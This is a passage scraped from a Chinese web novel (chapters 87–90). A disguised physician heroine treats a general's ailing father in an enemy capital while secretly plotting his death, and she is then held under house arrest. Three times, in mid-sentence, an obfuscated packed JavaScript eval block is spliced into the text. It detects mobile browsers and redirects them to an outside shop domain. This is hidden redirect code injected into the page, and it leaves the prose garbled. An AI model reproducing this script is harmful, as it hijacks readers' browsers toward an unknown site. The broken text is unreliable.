不过,她也不会傻站着任由夫人的威严受损。徐姑姑脸上依旧带着得体的笑容,说道:“怎么会呢,早膳正在准备中,丁大夫您先跟去看诊,看完诊,早膳也就准备妥当了。” 宁玉瑶见她应对有条有理,也没再继续找茬。她转头看向秦熠,秦熠会意,拿上她的小竹匣,他们便跟在徐姑姑身后往主院走去。 从清苑去主院,经过了一处演武场。演武场上的杂草和生锈的兵器,无不昭示着这个演武场显然已经荒废许久了。 宁玉瑶对这个废物将军有了更深的认识。她认识的那几位将军,哪位将军的家中演武场不是时时刻刻都有人在上面操练。 有这样的草包将军,也难怪苍荻的国师不想正途,只能琢磨一些旁门左道来算计大宸。 最可怕的还是上一世居然被他们算计成功了。 宁玉瑶不禁又想起了在火海中血流成河的雁京,那惨烈的场景仿佛历历在目。 她垂眸暗想,不知道国师的具体计划究竟是什么,这里面又有大皇子什么事。不过,这个仇,她一定要想法子还给国师。 宁玉瑶敛去眸中的恨意,踩着木质楼梯,缓缓地走上二楼。尚未进门,一股浓重的苦药味便在空气中弥漫开来。 她微微耸动鼻翼,嗅了嗅空气中的气味,仔细地辨认着所用的药材。确实是治疗喘疾的方子,不过有几味药的用量似乎有些不妥。但具体情况还需查看病人的状况才能确切知晓。宁玉瑶不动声色地暗自琢磨着。 这时,徐姑姑在一间卧房门外停下,她抬手轻轻叩响房门,声音恭敬道:“将军,夫人,丁大夫到了。” 屋内传来朱占行的声音:“进来。” 宁玉瑶收敛心神,跟在徐姑姑身后迈过门槛。 “闲杂人等不得入内。”门外的侍卫突然伸手拦住秦熠。秦熠神色平静,这些情况都在他们的意料之中。 宁玉瑶也没有多说什么,她转身伸手拿过秦熠手中的竹匣,目光与秦熠交汇。她微微点头,示意秦熠在外等候。 87.诊治 走进内室,光线昏暗得有些压抑。紧闭的窗户将外界的一切都隔绝在外,使得屋内的药味愈发浓重,令人几欲作呕。 宁玉瑶垂眸,本就身患喘疾呼吸不畅,还门窗紧闭,这是嫌病人死得不够快吗? 不过她并不打算提醒。 她的目光掠过床边神色凝重的朱占行和朱夫人,落在床上半躺着的老人身上。 老人须发皆白,口唇发紫,双目紧闭。安静的屋内,他急促的呼吸声格外清晰,时不时还伴有剧烈的咳嗽。 宁玉瑶收回视线,看向朱占行,问道:“这就是你要我诊治的病人?” 回了朱府后的朱占行不愿再理会宁玉瑶。朱夫人见状,无奈地轻叹一声,开口答道:“家翁年事已高,身患喘疾多年,劳烦丁大夫看看了。” 宁玉瑶颔首应了一声,她也不想与他们过多客套,毕竟双方本就相看两相厌。 她径直走到床边的矮凳上坐下,仔细观察病人。只见老人的手足均已肿胀,她心中便有了判断,看来他的喘疾已经严重影响到了心肺。 此时,朱旦英察觉到床边有人,他努力想睁开眼睛看看是谁。可他实在没有多大力气,只是费劲地掀起眼皮看了一眼宁玉瑶,便又无奈地闭上了眼。 宁玉瑶凝神,将三指搭在老人的手腕处,指下脉搏急促却无力地跳动着。 一时间,屋内寂静无声,唯有老人急促的呼吸声和咳嗽声清晰可闻。 半晌,宁玉瑶收回手,抬眸望向朱夫人,问道:“朱老将军的药方可否予我一观?” 朱夫人微微侧首,向身边侍女示意。 侍女连忙从一旁的柜子中取出一沓药方,毕恭毕敬地递给宁玉瑶。 宁玉瑶接过药方,逐张仔细翻阅。每看一张,她的眉头便微微蹙起一分。心中对苍荻医官的水平有了更为清晰的认知。能将因胸骨受伤引发的喘疾治成这般模样,当真不愧是庸医。 不过,他们虽不善治病,这吊命的本事却着实厉害。朱老头子被磨成这样竟还能活着,且照目前情形来看,再苟延残喘几年也并非不可能,确实厉害。 朱占行一直紧张地盯着宁玉瑶,见她收起药方,赶忙发问:“我父亲的病你能否医治?” 宁玉瑶不慌不忙地站起身,轻轻拍了拍衣角,伸出三根手指在他们面前晃了晃:“三个月,我保证能让朱老将军脱离苦海。” 朱占行一听,喜出望外,但心中又有所怀疑。毕竟此前请了众多名医都束手无策,他迟疑地问道:“当真?” 宁玉瑶懒得理会他的质疑,边往门外走边说道:“你准备好两千两银子即可。” 朱占行见她要出去,连忙示意门口的侍卫拦住她,“既然你如此有信心,那就开始为我父亲治病吧。” 宁玉瑶转身对着朱占行冷笑一声:“大清早把我叫来这里,连口饭都没吃上。若我施针到一半没了力气,这个后果你可承担得起?” 朱占行和朱夫人顿时无言以对,他们之前只想着给宁玉瑶一个下马威,却忘了这一茬。但他们身为朱府主人,又怎会轻易认错。他们一致略过此事,问道:“那何时开始针治?” “午膳过后,我现在得先回去准备一番。”宁玉瑶说完便继续往门外走。 挡住她去路的侍卫看向朱占行。朱占行无奈,只得挥手示意放行。 没想到宁玉瑶反而停下脚步,转过身来,嘴角微微上扬:“这段时间你们准备的膳食可得丰盛些,毕竟吃饱了我才有力气干活。” 这话听起来仿佛朱家穷困潦倒到饭都吃不起似的,朱夫人脸上一僵,勉强挤出一丝笑容应下。 宁玉瑶这才满意地走出房间,带着秦熠离开了正院。 朱夫人转头瞧见朱占行怒不可遏的模样,心中微微一叹,随即轻声劝慰道:“将军,且再忍耐她三个月吧。只要父亲的病好了,让她再张狂三个月又何妨?左右不过是个村妇,待事成之后,还不是任由我们处置。” 朱占行听了,虽然觉得夫人所言有理,但脸色依旧阴沉,冷哼一声:“也罢,夫人你来安排,就让她做个饱死鬼吧。” 他心中仍有些不放心,眉头紧锁,思量片刻后说道:“待会儿我去请医官过来,免得那村妇跟我们耍花招。若是她敢有半分不轨之举,也好有个防备。” “将军思虑周全。”朱夫人轻笑着奉承了几句,随后吩咐侍女们去安排。 既然是朱夫人下令,府中的厨子们不敢怠慢,使出浑身解数,做出一桌丰盛的早膳。 宁玉瑶还未回到清苑,早膳便已在偏厅摆放妥当。 “不错。”宁玉瑶满意地看着桌上琳琅满目的食物。各种馅料的破酥散发着诱人的香气,米线根根分明,搭配着丰富的调料,香味浓郁的鸡汤以及用鲜嫩鸡肉拌的小菜,色泽鲜艳,口感清爽。 都是些大宸不常见的吃法。 虽然所用皆是寻常食材,宁玉瑶也没指望朱府能给自己提供山珍海味,好歹比之前大半年能吃饱活着就好的膳食·精细了许多。 宁玉瑶坐下端起一碗汤,轻轻抿了一口,满口鲜香,她满足地轻叹一声。 等他们吃饱喝足,宁玉瑶便说自己需要养精蓄锐,直接将房门一关,谁也不敢来打扰她。 秦熠在屋里静静地站着,仔细倾听了一会儿,确认其他人都已离开,两个小丫头也回了自己屋里后,他才走到宁玉瑶身旁,轻声问道:“朱旦英的病情如何?” 宁玉瑶脸上露出一抹不怀好意的笑容,“本来他还能活过两三年,不过他儿子这般有孝心,特地把我带到国都,那我就让他少痛苦两年,提前送他上路。” “朱旦英能死在明安郡主手里,也算死得其所了。”秦熠故作姿态地说着,接着,他又神色一正,提醒道,“你也要小心,朱占行必定不会对你完全放心,若到时候他找来医官从旁协助,你可得小心别被他们抓住把柄。” 提及医官,宁玉瑶有些疑惑,“朱旦英的病症最初其实并不严重,他与彭舒生一样,都是因胸骨受伤而引起的,只是不知为何会拖成这样,苍荻的医官医术怎会如此不堪?” 秦熠看着宁玉瑶困惑的模样,笑着搂住她,轻轻揉了揉她的头发:“你换个思路想想,或许是江老的医术太过高超了呢。彭舒生的喘疾可是江老手把手教给你的,其他人哪有这样的机遇。而且江老也经常夸赞你天资聪颖。” 宁玉瑶眨眨眼,“我一直以为江老只是在说客套话。”毕竟从小到大谁都这么夸她。 秦熠笑道:“江老何时跟你客套过。” 宁玉瑶一听,觉得也是,便笑着说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667040|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“还是多亏了彭舒生,不然我也没这么好的机会,用了整整两个月把喘疾的各类症状牢记于心。” “嗯,找个机会给他上柱香,以表谢意。” 两人对视一眼,促狭地笑了起来。 用过午膳,徐姑姑再次前来请宁玉瑶。宁玉瑶不紧不慢地起身,整理衣衫后缓缓向外走去。 她慢悠悠地溜达到主院,主院内众人神色各异。 宁玉瑶神色平静地向朱占行拱手一礼,从竹匣中取出银针,淡然问道:“朱将军,现在给朱老将军施针?” 朱占行见她这般不慌不忙的模样,心中怒火顿起,正欲怒骂,床上一阵剧烈的咳嗽打断了他的怒火。 他急忙拽着宁玉瑶的胳膊,将她拖至床边,喝道:“快给我父亲治病!” 宁玉瑶被拽得一个踉跄,稳住身形后,瞥了一眼床边侧坐着的一位须发夹杂银丝的老者,心中暗忖,此人估计就是来探她底细的医官。 她迅速收回视线,装作不知,转头对侍女说道:“把朱老将军的衣裳解开。” 她打开针具正要取银针,朱占行又喊道:“慢着!” 宁玉瑶眉头皱起,烦不胜烦地问:“朱将军又有何事?” 朱占行示意侍女送上一副针灸银针,说道:“用这套针具。” 宁玉瑶收好自己的针具,嘟囔道:“不早说,买这套针可花了我不少银子呢。” 朱占行额头青筋暴起,看着宁玉瑶一边碎碎念一边取出银针扎进父亲身体里。 他不敢再高声呼喊,唯恐惊扰到宁玉瑶,只得憋屈地闭上嘴,走到一旁坐下。 一旁的白发老者起初满脸质疑地看着宁玉瑶进来。在他看来,一个十来岁的小丫头想要治好折磨朱老将军二十多年的喘疾,简直是天方夜谭。 然而,随着宁玉瑶一针一针扎进朱老将军的身体,朱老将军的呼吸肉眼可见地渐渐平缓下来,每次呼吸间的杂音也减轻了不少。 老者惊叹地看着宁玉瑶施针,她下针的速度、位置乃至顺序都与他们以往所学截然不同。 他一时心痒难耐,有许多问题想问这个小丫头,但看到她全神贯注的模样便知不可轻易打扰,只能硬生生忍了下来。 时间悄然流逝,窗外斜阳如血,染红了半边天空。 宁玉瑶起了针,用袖子擦去额上的汗水,声音疲惫地说道:“好了,我开个方子,你们自己记好。”也不等屋内众人反应,她便自顾自地念了起来:“半夏四钱、前胡两钱……” 屋内的侍女手忙脚乱地奔至书桌前,赶紧拿起笔记录下来。 等宁玉瑶念完方子,屋内的医官沉思着,眉头紧锁。朱占行见医官这副神态,心中一紧,以为方子有异,正要开口喝骂宁玉瑶。 医官突然合掌赞道:“妙啊!此方甚妙!丁小友居然能开出如此精妙的方子,老朽惭愧!” 朱占行的喝骂被硬生生堵了回去,他转头看着父亲难得眉目舒展地沉睡着。心中暗想,既然丁玉真能治好自己父亲,再忍这三个月又何妨。他压下心中的怒火,说道:“丁大夫辛苦了。” 宁玉瑶今日已精疲力竭,实在没力气再应付他们。她摆了摆手,脚步虚浮地走出房间。 一直在门口等候的秦熠见状,背起她向清苑走去。 88.软禁 窗外天光大亮,宁玉瑶一时有些恍惚,呆愣片刻才意识到已是第二天清晨。 昨日从正院回来后,只迷迷糊糊记得秦熠喂她吃了些东西,其余时候一直在昏睡。 她轻轻一动,身边的秦熠便立即睁开眼睛,他侧过身,轻声问道:“怎么样,好些了吗?” 宁玉瑶懒洋洋地扑到他怀里,撒了个娇,“累,不想动。” 秦熠轻抚她的头发,“怎么弄得这般疲惫,朱旦英的病症很棘手吗?” “治病倒不难,麻烦的是要让他的喘疾看似慢慢好转,同时引出其他病症,让他早日归西。”宁玉瑶的头埋在他怀里,声音有些闷。 “若是太辛苦就算了,大不了等我们离开的时候我去给他一刀。” 宁玉瑶摇摇头,朱旦英身边侍卫众多,秦熠也难以轻易靠近。如今既然有更安全的办法,自然无需秦熠去冒险。 她从秦熠怀中抬起头来,伸出手指轻轻抚平他眉心的褶皱,笑着安抚道:“没事的,昨天是因为有医官在场,我不了解他的底细,所以格外谨慎。既然知道他看不出我动了手脚,以后可不必耗费如此大的心神。” 秦熠默默地将宁玉瑶抱回怀里,轻声说:“你的身体最为要紧,那老头本就时日无多,即便让他再活两年也翻不起什么大浪。” 这话一出口,别说是宁玉瑶不相信,秦熠自己其实也心中存疑。朱旦英在朱家的地位至关重要,从朱占行耗费巨大精力为其父亲续命这么多年便可见一斑。 而且,当朱占行得知宁玉瑶能够医治他父亲的病症时,竟能容忍宁玉瑶这般张狂,更表明了朱旦英对朱家的重要性。 宁玉瑶听了秦熠的话,明白他是在心疼自己,便不再解释,只是笑着应承下来。 不过接下来的时日,也正如宁玉瑶所言,每次针灸所用的时间越来越短,施针完毕后,她的神情也越发轻松。 若不是朱旦英的身体一日比一日康健,朱占行真会怀疑宁玉瑶在敷衍他。 在宁玉瑶的精心治疗下,朱旦英很快便能下地行走。 朱占行小心翼翼地扶着父亲在园子里走了两圈后,才扶着朱旦英坐下。 朱旦英虽身体依旧虚弱,但精神比以往好了许多。堵在胸口二十余年的大石似被挪开,他浑身轻松无比,长舒一口气。 园中的树叶已褪去苍翠绿意,染上金黄。秋风轻拂,偶有落叶悠悠飘落。 看了片刻,朱旦英心情愉悦地转头对朱占行说道:“我儿有心了,此次请的小大夫确实有几分本事。若不是她,为父这把老骨头恐怕还得继续受病痛折磨。” 朱占行听了父亲的夸赞,哼笑一声道:“若不是她还有点用处,儿子早就将她处置了,哪能容她嚣张这么久。” 朱旦英对那个丁大夫的行径也有所耳闻,他神色淡漠,微微眯起眼睛说道:“一个乡野村妇罢了,不足为惧。她好歹救了老夫一命,到时候给她个痛快吧。” 朱占行恭敬应道:“是。” 父子俩就这样轻描淡写地决定了宁玉瑶的生死。 不多时,朱旦英感叹道:“到底是老了,就出来这么一会儿便觉得累了。” 朱占行连忙安慰道:“爹,病去如抽丝,您慢慢修养,很快就会好起来的。”他见父亲精神不济,连忙蹲下身子,亲自背起父亲往回走。 朱占行父子带着侍卫们离去后,园子瞬间安静下来,仿佛风都停止了吹拂。 过了半晌,秦熠从一棵高大的香樟树上悄然跃下。他身姿轻盈,落地时几乎未发出任何声响。 秦熠静静地站在原地,朝朱家父子离去的方向望了一眼,小心地避开巡逻的侍卫,悄然潜回清苑。 自从秦熠将朱府里里外外摸得一清二楚后,朱府对他而言简直就如同自家的后花园一般。青天白日他都能在朱府中自由穿梭,从未被人发现过。 回到清苑时,宁玉瑶正在庭院内悠然地看着话本。 秦熠朝宁玉瑶使了个眼色,宁玉瑶立刻合上话本,走进屋内。 “朱老头的病还未痊愈,他们竟然就敢商议对我动手,难道有什么倚仗不成?”宁玉瑶听了秦熠方才偷听到的话,有些不解。 “或许是那些医官学会了你的针灸之术?”秦熠猜测。 自宁玉瑶第一次为朱旦英诊治便取得奇效后,之后每日行针时都会有几位苍荻的医官前来观摩。 宁玉瑶嗤笑:“江老的独门针灸技法,光靠偷看就想学会,那也太小瞧江老了。” 说到此处,她突然惊觉自己来到朱府已快一个月了,竟然天天忙着给老头治病,而没有给朱家人找麻烦。 她假意自责道:“竟然让朱家安静了这么久,是我的不对。” 秦熠看着她,眼中满是笑意,“没关系,现在开始也不晚。” 宁玉瑶美滋滋地从怀中掏出在启宁镇时朱占行给的令牌,看着那令牌,脸上的笑容一滞,嫌弃地拍掉手上沾染的金粉,撇了撇嘴道:“那姓朱的做个假令牌糊弄我,也不做得像样点。这一摸就是一手金粉,真不像话。” 秦熠不禁笑道:“乡野村姑哪里见过什么真令牌,镀了层金粉已经算是很不错的东西了。” 宁玉瑶白了秦熠一眼,也没计较那么多,拿起令牌大摇大摆地向院子外走去,“走,我们去大门口闹一闹。” 经过庭院时,泉月和春燕闻声跑出来,“丁大夫,您有什么吩咐?” 宁玉瑶摆摆手,“没事,你们回屋呆着去。” “哦。”两小丫鬟应着又回去了。 宁玉瑶对这两个丫鬟很是满意,虽然她们年纪小,却很听话。没有她的吩咐基本都在厢房里待着,不出来乱窜,这让宁玉瑶省了不少心。 他们走到朱府正门,不出所料被门口的侍卫拦住。 侍卫恭谨地说道:“丁大夫,没有将军和夫人的命令,您不得随意出府。” 宁玉瑶扬起下巴,将令牌在侍卫面前晃了晃,示意道:“我有你们将军给的令牌,还不快让开。” 令牌在她手中晃动,上面的金粉不断飘落。 侍卫一眼瞧见,脸上露出尴尬的笑容,“丁大夫,您手上的并非朱府令牌。” “什么不是朱府的,这明明是你们将军给我的,”宁玉瑶顿时火冒三丈,将令牌塞进侍卫手中,“睁大你的狗眼仔细看看,这是不是你们将军的令牌。” 侍卫无奈地甩了甩手上的金粉,坚持道:“还请丁大夫不要为难小的,这确实不是朱府的令牌。” 宁玉瑶气结:“你……” “何人在此大吵大闹。”一个俏丽的少女从府外走进来。她身着一袭淡粉色的罗裙,裙摆随着她的步伐轻轻摇曳。 侍卫们连忙行礼解释道:“见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678144|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过小姐,丁大夫想要出府,但无将军和夫人的命令,不得随意出去。” “谁说我不能出去的,你们将军明明给了我令牌!”宁玉瑶在一旁叫嚷着。 侍卫一脸为难地将手上的令牌展示在朱小姐的面前,“小姐您看。” 朱小姐轻蔑地看着侍卫手上金粉所剩无几的令牌,嘲讽道:“居然弄了个假令牌出来,果然是上不得台面的东西。” “你胡说!明明是你爹亲自给我的令牌,怎么就成了我弄出来的?要么你爹不是个好人,弄虚作假糊弄我,要么就是你们不忠不孝,不认你爹的令牌!”宁玉瑶的脸涨得通红,她大声喊着,声音尖锐响亮。 此话一出,侍卫和朱小姐同时脸色一变。侍卫惊恐地低下头,不敢言语。 朱小姐气得浑身发抖,脸色铁青。她厉声喝道:“你胡言乱语什么!竟敢侮辱我爹!我又岂会认错我爹的东西!走,你跟我去正院,问问我爹,你手里的令牌到底是怎么回事!” 一行人怒气冲冲地来到了正院。 宁玉瑶快步冲到朱占英面前,质问道:“朱将军,当初说好你给我令牌我可以自由出入,为何现在成假令牌了?” 朱占行看着宁玉瑶那副气急败坏的模样,哂笑道:“当初说好的可是在启宁镇的司殿可以让你自由出入,并没有说在朱府也可以,这块令牌在朱府自然不能用。” 宁玉瑶一时语塞,“那,那你们是要软禁我?” 朱夫人在旁惊讶道:“怎么会是软禁呢,只要家翁的病好了,你随时可以离开,至于家翁病好之前,还请丁大夫稍安勿躁。” “你们做梦!我就是要出去!”宁玉瑶将令牌往地上狠狠一摔,令牌上的“朱”字立时四分五裂。 “放肆!”朱占行脸上的笑容瞬间消失,对宁玉瑶厉声喝道。 宁玉瑶从来就没怕过朱占行,毫不退缩瞪视回去。 朱夫人也不再温言细语,冷笑一声,“丁大夫,横竖朱府大门你暂时出不去,不如平心静气地待着,等时机一到,自然会放你离开,你觉得如何?” “不如何。”宁玉瑶丝毫不配合。 但朱占行和朱夫人显然耐心告罄,朱占行微微抬手,徐姑姑立刻会意,带着一干粗使丫鬟迅速上前,将宁玉瑶强行架回了清苑。 朱小姐看着宁玉瑶被架走的狼狈模样,得意地哼笑出声。 粗使丫头们毫不客气地将宁玉瑶往清苑的庭院中一扔。 “狗仗人势的东西!居然敢这么对我!”宁玉瑶踉跄地退后两步,刚站稳就对着徐姑姑破口大骂。 徐姑姑被骂也丝毫不动怒,只是淡然地说道:“丁大夫还是好好歇着吧。” 宁玉瑶哪里肯善罢甘休,她怒指着徐姑姑,正要再度开口怒骂。徐姑姑却不给她这个机会,直接将院子的大门一关,扬长而去。 宁玉瑶站在庭院中,死死地瞪着那紧闭的大门,胸口剧烈起伏,喘着粗气。她满心的愤怒却又无可奈何,最终只能带着一腔怒火,怒气冲冲地跑回正房。 厢房门口的两个小丫鬟满脸恐慌地看着宁玉瑶的背影,过了半晌,才回过神来,瑟瑟发抖地缩回自己房间。 进了房间的宁玉瑶瞬间敛起满脸怒气,脸上绽放出一抹狡黠的笑容,笑嘻嘻地说道:“丁大夫今日不高兴了,朱家人要是不舍得放点血,丁大夫可就不出诊喽。” 89.庸医 朱府正院。 几名医官正围在朱旦英身旁全神贯注地行针。乍一看,朱旦英面色红润,呼吸平稳,一切都在掌控之中。 “那姓丁的还真把自己当回事了,没有她不照样……”朱正行在旁冷笑,跟朱夫人说着话,突然脸色大变,“爹!” 只见朱旦英毫无征兆地喷出一口鲜血,那殷红的颜色在床褥上极为刺眼。 朱正行急忙扑上前去,抓住床边的一位医官,厉声质问:“你们干了什么?我爹怎么了?” 朱夫人也赶忙上前,拉住朱正行劝道:“将军,您先冷静些,让医官们好好看看爹。” 朱正行松开手,恶狠狠地瞪着神色紧张的医官们,“你们最好弄清楚是怎么回事,若我爹有个什么闪失,你们想好该如何向王上交代吧!” 医官们此时哪还顾得上朱正行的威胁,个个心急如焚。他们竭力回忆着那位丁大夫的施针手法,试探着再扎入一针。然而这一针下去,朱老将军口中又吐出几口鲜血。 朱正行见状,双目赤红,一把推开劝阻他的朱夫人,从墙上取下朱旦英行军时的佩刀,愤怒地指向医官,“你们是不是故意谋害我爹!” 医官们冷汗直冒,豆大的汗珠顺着额头不断滚落,却无暇擦拭,心中慌乱至极。 朱老将军在军中威望极高,倘若朱老将军真在他们手中出了意外,暂且不论他们能否走出朱家大门,王上那边必定不会轻饶。还有朝中那些武夫,一旦得知朱老将军出事,必会将他们生吞活剥。 他们手忙脚乱地不断尝试各种方法,然而,不管他们如何努力,朱老将军口中的鲜血却越来越多,呼吸也愈发微弱。 一名医官心急如焚,双手颤抖着拔出朱老将军身上的银针,直到全部拔完,朱旦英才停止口吐鲜血。可此时的朱旦英已经出气多进气少,生命垂危。 几名医官见状,诚惶诚恐地躬身对朱正行禀报:“朱将军,请恕下官无能,当务之急还是请丁大夫过来替朱老将军诊治。” 朱正行一听,顿时怒火中烧,举起手中的大刀就要砍下。 “将军!”朱夫人急忙喝止。 朱正行停下手,喘着粗气,双目通红,“不是你们说已经学会了她的针灸之术,还在别的患有喘疾的病人身上试过且确有疗效吗?现在为何会变成这样?” “是下官托大了,”几名医官脸上青白交加,“丁大夫的针灸之法十分精妙,旁人恐怕难以轻易学会,我们之前也只是学到了一点皮毛。” “你……你们!你们可真是好样的。”朱正行怒不可遏,但又不能真的砍了这几个医官,他转身,怒将屋内的八仙桌砍成两半。 朱夫人看着床上呼吸孱弱的公爹,赶忙劝道:“将军,这些事先放一边,快去请丁大夫吧,不能再耽搁了。” 朱正行咬了咬后槽牙,强压下心中的怒火。他转身一脚踹开没来得及让路的侍女,叫上亲兵,“跟我去清苑。” 自打认识这位丁大夫,朱正行便深刻体会到了什么是贪得无厌,趁火打劫。今日上午他们刚刚得罪了丁玉,如今又不得不前来请她。若不给些好处,她恐怕不会轻易答应。 关键是这姓丁的身边仅有一个无足轻重的下人,光脚的不怕穿鞋的,威胁于她向来毫无作用。她烂命一条,并不怕死,可他的父亲容不得半点闪失,他们朱家也赌不起。 朱正行一路赶来,再三提醒自己要冷静。然而,当他真正站在大门紧闭的清苑门前时,还是忍不住心生怒气。 身边的亲兵锦伍赶忙上前说道:“将军,让属下来吧。” 朱正行面色阴沉地看着锦伍上前叩门。 门环撞击的声音在寂静的空气中回响。过了好一会儿,才有一个小丫鬟怯生生地前来开门。 小丫鬟将朱正行让进庭院,轻声说道:“将军,丁大夫自被送回来后就把自己关在房中,一直没出来过。” 锦伍瞧了瞧朱正行的脸色,没理会小丫鬟的话,急忙去拍正房的房门,可拍了许久,屋内毫无动静。 朱正行在来的路上就预料到了这种情况,并不意外。但此时父亲病情危急,不能再耽搁了。 他示意锦伍让开,自己站在门前向屋内喊道:“丁大夫,今日之事是那些下人不懂事,你大人有大量,本将军稍后就将他们处置了,给你出出气,你意下如何?” 屋内依旧没有声音,朱正行咬了咬牙,再次开口喊道:“丁大夫,等本将军父亲病好后,除了两千两诊金,再额外给你三千两礼金,你看如何?” 他话音刚落,紧闭的房门便被猛地打开。宁玉瑶倨傲地站在门前,眼中带着得意,一只手径直伸向朱占行。 朱占行额角青筋暴起,强压着心中的怒意,取出事先准备好的字据,递向宁玉瑶。 宁玉瑶接过字据,漫不经心地展开,瞧见上面的金额后,嘴角上扬,满意地将字据收好。接着,她再次朝朱占行伸出手,“还有呢?” “丁大夫,做人不可太过贪心。”朱占行眯着眼睛,目光中带着警告。 宁玉瑶嗤笑一声,“你若愿意继续给银子,我自然乐意拿着。不过,出府的令牌你可别想再赖账。” 朱占行怒火中烧,从腰带上摘下一块令牌,狠狠地扔向宁玉瑶。令牌在空中划过一道弧线,落在宁玉瑶脚边。“丁大夫,现在满意了吧?” 秦熠连忙捡起地上的令牌递给宁玉瑶,她仔细摩挲着令牌上的花纹,怀疑地问道:“这块不会又是假的吧?” 朱占行咬牙切齿道:“不会!丁大夫你尽可自由出入朱府。” 宁玉瑶这才心满意足地收起令牌,拍了拍身边的秦熠,说道:“走吧,背我过去,待会儿跑快点,五千两银子呢。” 秦熠听到五千两银子,赶紧蹲下身,背起宁玉瑶就朝着正院跑去。 朱占行站在原地,狠毒地望着他们离去的方向。 宁玉瑶抵达正院时,朱老将军的呼吸已经十分微弱,正院内众人神色凝重。 “丁大夫,你快看看,朱老将军这是怎么了。”医官们见到宁玉瑶仿佛见到了救星,连忙拉着宁玉瑶往床边走去。 宁玉瑶从容伸手搭在朱丹英的手腕处,已探查不到脉搏,形势十分危急。她毫不迟疑,迅速抽出床边针具中的长针,准确无误朝着几处死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689824|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穴扎去。 医官们不禁惊呼出声,本欲劝阻,却又不敢出声,只得屏息看着床上的朱老将军。 不过片刻功夫,朱老将军的呼吸渐渐变强,接着轻声咳嗽了几声。这几声咳嗽如同天籁,让屋内众人纷纷松了口气。 宁玉瑶掰开他的嘴看了一眼,对身边的侍女吩咐道:“将朱老将军口中的污血清理出来,再给他擦擦身子,等他呼吸顺畅了再拔针。” 说完,宁玉瑶走到屋内那碎了一地的八仙桌旁,示意侍女倒杯茶来。 她这般不把自己当外人的模样,朱占行和朱夫人即便心中有气,也不敢在此时惹她,只能睁一只眼闭一只眼由着她折腾。 待侍女奉上茶水,宁玉瑶轻轻喝了一口茶,那悠然的姿态与周围紧张的氛围形成了鲜明的对比。 医官们在一旁犹豫良久,才小心翼翼地上前问道:“丁大夫,我们之前明明是按照您的方法施针的,不知为何会变成这样?” 他们的脸上满是羞愧,毕竟偷师这事说出去也不光彩。 宁玉瑶掀起眼帘瞥了他们一眼,哂笑,“这可是我的看家本领,岂能轻易告知他人。” 她自然不会告诉他们,自己动了手脚。 医官们听她这么说,只能尴尬地笑笑,不敢再追问。毕竟人家不愿说,他们也不好强迫。若是惹恼了她,故意误导他们,那后果可就更严重了。 针灸之事,失之毫厘,差以千里,今日他们才看到了后果,再也不敢随意行事。 无人再来打扰,宁玉瑶不紧不慢地喝完一盏茶后,这才起身将朱老将军身上的银针逐一取出。再次把脉,朱老将军的脉搏已然稳定下来。 宁玉瑶满意地点点头,收了针。她站起身来,对屋内众人嘲讽笑道:“原本无需两个月便能痊愈,经你们这么一折腾,继续慢慢调养吧。” 屋内众人神色尴尬。 不过,这些都与宁玉瑶无关。她出了主院,晃着令牌,兴高采烈地带着秦熠出了府。 屋内的众医官也不敢在此继续逗留,他们低垂着头,满脸羞愧,赶忙告罪,匆匆地离开了主院。 朱占行脸色阴沉,死死盯着医官们的背影,待他们消失不见,才怒喝一声:“一群没用的庸医!” 朱夫人轻声安抚道:“将军,如今父亲的病情已经稳定下来,您还得谨言慎行,若是被言官听了去,那可就麻烦了。” 朱占行自知失言,幸好此时家中只有自家人,若被旁人听到,定会平添许多麻烦。但他仍嘴硬道:“本将军又没说错!他们连一个小丫头都不如,还差点害了父亲……他们不是庸医又是什么。” 朱夫人叹了口气,不再继续劝说。 如今朱家势力渐弱,朱将军平日口无遮拦,已惹下不少祸事。眼下公爹健在,公爹的余威尚存,那些人便还会给朱府几分面子。 倘若公爹去世,那朱府…… 朱夫人连忙压下心中那不吉利的念头。 公爹身体正在恢复中,等公爹彻底康复上朝后,将军就算说话再口无遮拦,也能被夸赞豪爽。 也罢,再多忍耐那丫头几个月吧。 90.褪色 “唉……”宁玉瑶唉声叹气地趴在窗沿上,幽幽地望着天上的星子。 “怎么了?”秦熠从另一边窗户跳进屋内。 “好无趣哦。” 自从医官胡乱行针使得朱旦英命悬一线后,朱府之人对宁玉瑶充满畏惧,平日里见到她皆毕恭毕敬。这让宁玉瑶即便有意闹事,也不能无故发作。 她实在闲得慌,出去逛过几次国都。然而,每次出行身后总跟着一群侍卫,甚是碍手碍脚。再者,她囊中羞涩,只逛不买更是无趣。 宁玉瑶正欲再叹一口气,一沓银票递到她面前。 “别叹气了,我带你出去玩。” 